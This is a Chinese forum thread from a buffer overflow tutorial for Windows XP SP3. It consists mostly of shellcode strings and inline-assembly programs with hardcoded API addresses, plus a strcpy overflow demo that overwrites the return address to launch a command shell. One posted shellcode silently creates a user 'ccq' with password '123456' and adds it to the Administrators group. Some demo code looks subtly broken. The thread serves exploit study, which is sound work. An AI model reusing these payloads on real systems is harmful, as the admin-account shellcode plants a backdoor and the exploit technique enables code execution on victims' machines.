芯机智

 找回密码
 立即注册

扫一扫,访问微社区

搜索
热搜: 活动 交友 discuz
查看: 5892|回复: 10

Q版缓冲区溢出教程

[复制链接]

534

主题

624

帖子

6282

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
6282
发表于 2013-3-13 22:16:23 | 显示全部楼层 |阅读模式
在终极的分析中,一切知识都是历史;在抽象的意义下,一切科学都是数学;在理性的基础上,所有的判断都是统计。——C.R. Rao
回复

使用道具 举报

534

主题

624

帖子

6282

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
6282
 楼主| 发表于 2013-3-15 14:34:14 | 显示全部楼层
Q版缓冲区溢出教程源代码\chapter1\Foxmail1

试验结果:

QQ截图20130315135119.jpg

为了实践下溢出我容易吗

还要配置个虚拟机



这是Foxmail
fm50chb1.exe(4MB)
在终极的分析中,一切知识都是历史;在抽象的意义下,一切科学都是数学;在理性的基础上,所有的判断都是统计。——C.R. Rao
回复 支持 反对

使用道具 举报

534

主题

624

帖子

6282

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
6282
 楼主| 发表于 2013-3-15 16:08:31 | 显示全部楼层
几个简单的shellcode,均为中文XP SP3

添加用户  
    "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x5d\x53\xbb\xad\x23\x86\x7c"
    "\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
    "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"
    "\x65\x72\x20\x63\x63\x71\x20\x31\x32\x33\x34\x35\x36\x20\x2f\x61\x64"
    "\x64\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f"
    "\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73"
    "\x20\x2f\x61\x64\x64\x20\x63\x63\x71\x20\x26\x26\x20\x6e\x65\x74\x20"
    "\x75\x73\x65\x72\x20\x63\x63\x71";
打开计算器
    "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x5d\x53\xbb\xad\x23\x86\x7c"
    "\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
    "\x63\x61\x6c\x63";
打开cmd
    "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x5d\x53\xbb\xad\x23\x86\x7c"
    "\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
    "\x63\x6D\x64";
在终极的分析中,一切知识都是历史;在抽象的意义下,一切科学都是数学;在理性的基础上,所有的判断都是统计。——C.R. Rao
回复 支持 反对

使用道具 举报

71

主题

113

帖子

471

积分

超级版主

Rank: 8Rank: 8

积分
471
发表于 2013-3-19 21:08:48 | 显示全部楼层
回复 支持 反对

使用道具 举报

534

主题

624

帖子

6282

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
6282
 楼主| 发表于 2014-1-9 21:56:47 | 显示全部楼层
小丸子,同学 发表于 2013-3-19 21:08

看着你也能激动!
在终极的分析中,一切知识都是历史;在抽象的意义下,一切科学都是数学;在理性的基础上,所有的判断都是统计。——C.R. Rao
回复 支持 反对

使用道具 举报

534

主题

624

帖子

6282

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
6282
 楼主| 发表于 2014-2-16 22:18:51 | 显示全部楼层
2.2  简单的例子——编写控制台窗口的ShellCode


回顾第一章中例举的这个程序,开启一个dos窗口。
[mw_shl_code=c,true]#include<windows.h>

int main()
{
   LoadLibrary(“msvcrt.dll”);
   system(“command.com”);
   return 0;
}[/mw_shl_code]


想把这个程序转成shellcode,要先把上面的代码先用汇编替换,  
下面是vc中替换
[mw_shl_code=c,true]system(“command.com”);成汇编的代码。

#include <windows.h>
#include <winbase.h>
void main()
{
        LoadLibrary("msvcrt.dll");
        __asm {
                        mov esp,ebp ;把ebp的内容赋值给esp
                        push ebp ;保存ebp,esp-4
                        mov ebp,esp ;给ebp赋新值,将作为局部变量的基指针
                        xor edi,edi ;
                        push edi ;压入0,esp-4,;作用是构造字符串的结尾\0字符。
                        sub esp,08h ;加上上面,一共有12个字节,;用来放"command.com"。
                        mov byte ptr [ebp-0ch],63h ;
                        mov byte ptr [ebp-0bh],6fh ;
                        mov byte ptr [ebp-0ah],6dh ;
                        mov byte ptr [ebp-09h],6Dh ;
                        mov byte ptr [ebp-08h],61h ;
                        mov byte ptr [ebp-07h],6eh ;
                        mov byte ptr [ebp-06h],64h ;
                        mov byte ptr [ebp-05h],2Eh ;
                        mov byte ptr [ebp-04h],63h ;
                        mov byte ptr [ebp-03h],6fh ;
                        mov byte ptr [ebp-02h],6dh ;生成串"command.com".
                        lea eax,[ebp-0ch] ;
                        push eax ;串地址作为参数入栈
                        mov eax, 0x77BF93C7 ;
                        call eax ;调用system
        }
}[/mw_shl_code]


如果喜欢用gcc的朋友也可以参考下面的代码,用的是at&t语法, 本汇编在windows xp sp3 测试正常:#include <windows.h>
[mw_shl_code=c,true]#include <windows.h>
#include <winbase.h>
int main()
{
        LoadLibrary("msvcrt.dll");
        asm(
                        "movl %ebp, %esp\n\t" //把ebp的内容赋值给esp
                        "pushl %ebp\n\t" //保存ebp,esp-4
                        "movl %esp, %ebp\n\t" //给ebp赋新值,将作为局部变量的基指针
                        "xor %edi, %edi\n\t"
                        "push %edi\n\t" //压入0,esp-4,;作用是构造字符串的结尾\0字符。
                        "subl $0x08, %esp\n\t" //加上上面,一共有12个字节,用来放"command.com"。
                        "movb $0x63, -0xc(%ebp)\n\t"
                        "movb $0x6f, -0xb(%ebp)\n\t"
                        "movb $0x6d, -0xa(%ebp)\n\t"
                        "movb $0x6D, -0x9(%ebp)\n\t"
                        "movb $0x61, -0x8(%ebp)\n\t"
                        "movb $0x6e, -0x7(%ebp)\n\t"
                        "movb $0x64, -0x6(%ebp)\n\t"
                        "movb $0x2E, -0x5(%ebp)\n\t"
                        "movb $0x63, -0x4(%ebp)\n\t"
                        "movb $0x6f, -0x3(%ebp)\n\t"
                        "movb $0x6d, -0x2(%ebp)\n\t" //生成串"command.com".
                        "lea -0x0c(%ebp), %eax\n\t"
                        "pushl %eax\n\t" //串地址作为参数入栈
                        "movl $0x77BF93C7, %eax\n\t"
                        "call *%eax\n\t" //调用system
        );
        exit(0);
}[/mw_shl_code]

后面我会慢慢的加更多的gcc版的代码,喜欢gcc的朋友,一起来玩gcc版的windows溢出吧!
在终极的分析中,一切知识都是历史;在抽象的意义下,一切科学都是数学;在理性的基础上,所有的判断都是统计。——C.R. Rao
回复 支持 反对

使用道具 举报

534

主题

624

帖子

6282

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
6282
 楼主| 发表于 2014-2-16 23:37:35 | 显示全部楼层
完整的
[mw_shl_code=c,true]#include <windows.h>
#include <winbase.h>
int main()
{
        asm(
                        //首先要LoadLibrary("msvcrt.dll");
                        "pushl %ebp\n\t"
                        "movl %esp, %ebp\n\t"
                        "xor %eax, %eax\n\t"
                        "pushl %eax\n\t"
                        "pushl %eax\n\t"
                        "pushl %eax\n\t"
                        "movb $0x4D, -0x0C(%ebp)\n\t"
                        "movb $0x53, -0x0B(%ebp)\n\t"
                        "movb $0x56, -0x0A(%ebp)\n\t"
                        "movb $0x43, -0x09(%ebp)\n\t"
                        "movb $0x52, -0x08(%ebp)\n\t"
                        "movb $0x54, -0x07(%ebp)\n\t"
                        "movb $0x2E, -0x06(%ebp)\n\t"
                        "movb $0x44, -0x05(%ebp)\n\t"
                        "movb $0x4C, -0x04(%ebp)\n\t"
                        "movb $0x4C, -0x03(%ebp)\n\t"
                        "lea -0x0C(%ebp), %eax\n\t"
                        "pushl %eax\n\t"
                        "movl $0x7C801d7b, %edx\n\t" //LoadLibrary
                        "call *%edx\n\t"

                        "movl %ebp, %esp\n\t" //把ebp的内容赋值给esp
                        "pushl %ebp\n\t" //保存ebp,esp-4
                        "movl %esp, %ebp\n\t" //给ebp赋新值,将作为局部变量的基指针
                        "xor %edi, %edi\n\t"
                        "push %edi\n\t" //压入0,esp-4,;作用是构造字符串的结尾\0字符。
                        "subl $0x08, %esp\n\t" //加上上面,一共有12个字节,用来放"command.com"。
                        "movb $0x63, -0xc(%ebp)\n\t"
                        "movb $0x6f, -0xb(%ebp)\n\t"
                        "movb $0x6d, -0xa(%ebp)\n\t"
                        "movb $0x6D, -0x9(%ebp)\n\t"
                        "movb $0x61, -0x8(%ebp)\n\t"
                        "movb $0x6e, -0x7(%ebp)\n\t"
                        "movb $0x64, -0x6(%ebp)\n\t"
                        "movb $0x2E, -0x5(%ebp)\n\t"
                        "movb $0x63, -0x4(%ebp)\n\t"
                        "movb $0x6f, -0x3(%ebp)\n\t"
                        "movb $0x6d, -0x2(%ebp)\n\t" //生成串"command.com".
                        "lea -0x0c(%ebp), %eax\n\t"
                        "pushl %eax\n\t" //串地址作为参数入栈
                        "movl $0x77BF93C7, %eax\n\t"
                        "call *%eax\n\t" //调用system
        );
}[/mw_shl_code]


在终极的分析中,一切知识都是历史;在抽象的意义下,一切科学都是数学;在理性的基础上,所有的判断都是统计。——C.R. Rao
回复 支持 反对

使用道具 举报

534

主题

624

帖子

6282

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
6282
 楼主| 发表于 2014-2-17 00:10:38 | 显示全部楼层
根据上面提取的shellcode

[mw_shl_code=c,true]#include <stdio.h>
#include <string.h>

char name[] =
"\x41\x41\x41\x41"  
"\x41\x41\x41\x41"  
"\x41\x41\x41\x41"  
"\x41\x41\x41\x41"  
"\x41\x41\x41\x41"  
"\x41\x41\x41\x41"  

"\x12\x45\xfa\x7f"        
                                
"\x55\x89\xe5\x31\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53"
"\xc6\x45\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54"
"\xc6\x45\xfa\x2e\xc6\x45\xfb\x44\xc6\x45\xfc\x4c\xc6\x45\xfd\x4c"
"\x8d\x45\xf4\x50\xba\x7b\x1d\x80\x7c\xff\xd2\x89\xec\x55\x89\xe5"
"\x31\xff\x57\x83\xec\x08\xc6\x45\xf4\x63\xc6\x45\xf5\x6f\xc6\x45"
"\xf6\x6d\xc6\x45\xf7\x6d\xc6\x45\xf8\x61\xc6\x45\xf9\x6e\xc6\x45"
"\xfa\x64\xc6\x45\xfb\x2e\xc6\x45\xfc\x63\xc6\x45\xfd\x6f\xc6\x45"
"\xfe\x6d\x8d\x45\xf4\x50\xb8\xc7\x93\xbf\x77\xff\xd0";


int main()
{
        char output[8];
               
        strcpy(output, name);

        for(int i=0;i<8&&output;i++)

                printf("\\0x%x",output);

        return 0;
}[/mw_shl_code]


提取方法请看这个图:
QQ图片20140217000632.jpg

这一套用起来要比vc6方便点哦!

xp sp3上运行的效果:

QQ图片20140217000937.jpg

溢出后成功的弹出了我们要的命令终端,gcc版的
shellcode的第一版完成了!


在终极的分析中,一切知识都是历史;在抽象的意义下,一切科学都是数学;在理性的基础上,所有的判断都是统计。——C.R. Rao
回复 支持 反对

使用道具 举报

534

主题

624

帖子

6282

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
6282
 楼主| 发表于 2014-2-20 00:45:51 | 显示全部楼层
gcc版的弹出对话框源代码 运行平台还是xp sp3

[mw_shl_code=c,true]#include <stdio.h>
#include <windows.h>

int main(int argc, const char *argv[])
{
                asm(
                //首先要LoadLibrary("user32.dll");
      "pushl %ebp\n\t"
      "movl %esp, %ebp\n\t"
      "xor %eax, %eax\n\t"
      "pushl %eax\n\t"
      "pushl %eax\n\t"
      "pushl %eax\n\t"
      "movb $0x75, -0x0C(%ebp)\n\t"
      "movb $0x73, -0x0B(%ebp)\n\t"
      "movb $0x65, -0x0A(%ebp)\n\t"
      "movb $0x72, -0x09(%ebp)\n\t"
      "movb $0x33, -0x08(%ebp)\n\t"
      "movb $0x32, -0x07(%ebp)\n\t"
      "movb $0x2E, -0x06(%ebp)\n\t"
      "movb $0x64, -0x05(%ebp)\n\t"
      "movb $0x6C, -0x04(%ebp)\n\t"
      "movb $0x6C, -0x03(%ebp)\n\t"
      "lea -0x0C(%ebp), %eax\n\t"
      "pushl %eax\n\t"
      "movl $0x7C801d7b, %edx\n\t" //LoadLibrary
      "call *%edx\n\t"

                //MessageBox(NULL,"hello", "world", MB_OK);
                "pushl %ebp\n\t"
                "movl %esp, %ebp\n\t"
                "subl $0x80, %esp\n\t"                        
                //标题"ww"->esi
                "movb $0x77, -0x0B(%ebp)\n\t"//w
                "movb $0x77, -0x0A(%ebp)\n\t"//w
                "movb $0x00, -0x09(%ebp)\n\t"//0x00
                "lea -0x0B(%ebp), %esi\n\t"
                //内容"ww0830"->edi
                "movb $0x77, -0x07(%ebp)\n\t"//w
                "movb $0x77, -0x06(%ebp)\n\t"//w
                "movb $0x30, -0x05(%ebp)\n\t"//0
                "movb $0x38, -0x04(%ebp)\n\t"//8
                "movb $0x33, -0x03(%ebp)\n\t"//3
                "movb $0x30, -0x02(%ebp)\n\t"//0
                "movb $0x00, -0x01(%ebp)\n\t"//0x00
                "lea -0x07(%ebp), %edi\n\t"
                                                
                "pushl $1\n\t"                                        //1
                "pushl %esi\n\t"                                //标题
                "pushl %edi\n\t"                                //内容
                "pushl $0\n\t"                                        //0
                "movl $0x77d507ea, %eax\n\t"        //messageboxa()
                "call *%eax\n\t"                        
        );
        exit(0);
}[/mw_shl_code]

gnu版的提取shellcode方法

(gdb) start
Temporary breakpoint 1 at 0x4013ce: file MessageBoxGnu.c, line 6.
Starting program: C:\MessageBoxGnu.exe
[New Thread 4600.0x55c]

Temporary breakpoint 1, main (argc=1, argv=0x2d1778) at MessageBoxGnu.c:6
6                       asm(

(gdb) disassemble /m
Dump of assembler code for function main:
5       {
   0x004013c0 <+0>:     push   %ebp
   0x004013c1 <+1>:     mov    %esp,%ebp
   0x004013c3 <+3>:     and    $0xfffffff0,%esp
   0x004013c6 <+6>:     sub    $0x10,%esp
   0x004013c9 <+9>:     call   0x401a80 <__main>

6                       asm(
=> 0x004013ce <+14>:    push   %ebp
   0x004013cf <+15>:    mov    %esp,%ebp
   0x004013d1 <+17>:    xor    %eax,%eax
   0x004013d3 <+19>:    push   %eax
   0x004013d4 <+20>:    push   %eax
   0x004013d5 <+21>:    push   %eax
x /200xb 0x004013ce
......
   0x0040144b <+139>:   call   *%eax

7                       //LoadLibrary("user32.dll");
8             "pushl %ebp\n\t"
9             "movl %esp, %ebp\n\t"
10            "xor %eax, %eax\n\t"
11            "pushl %eax\n\t"
12            "pushl %eax\n\t"
13            "pushl %eax\n\t"
......

(gdb) x /200xb 0x004013ce
0x4013ce <main+14>:     0x55    0x89    0xe5    0x31    0xc0    0x50    0x50    0x50
0x4013d6 <main+22>:     0xc6    0x45    0xf4    0x75    0xc6    0x45    0xf5    0x73
0x4013de <main+30>:     0xc6    0x45    0xf6    0x65    0xc6    0x45    0xf7    0x72
0x4013e6 <main+38>:     0xc6    0x45    0xf8    0x33    0xc6    0x45    0xf9    0x32
0x4013ee <main+46>:     0xc6    0x45    0xfa    0x2e    0xc6    0x45    0xfb    0x64
0x4013f6 <main+54>:     0xc6    0x45    0xfc    0x6c    0xc6    0x45    0xfd
......
0x40143e <main+126>:    0x7d    0xf9    0x6a    0x01    0x56    0x57    0x6a    0x00
0x401446 <main+134>:    0xb8    0xea    0x07    0xd5    0x77    0xff    0xd0    0xc7

还看什么!赶紧打开你的gvim, 让vim大显神威吧!


在终极的分析中,一切知识都是历史;在抽象的意义下,一切科学都是数学;在理性的基础上,所有的判断都是统计。——C.R. Rao
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|芯机智 ( 京ICP备18048803号 )

GMT+8, 2019-10-15 07:03 , Processed in 0.329901 second(s), 25 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表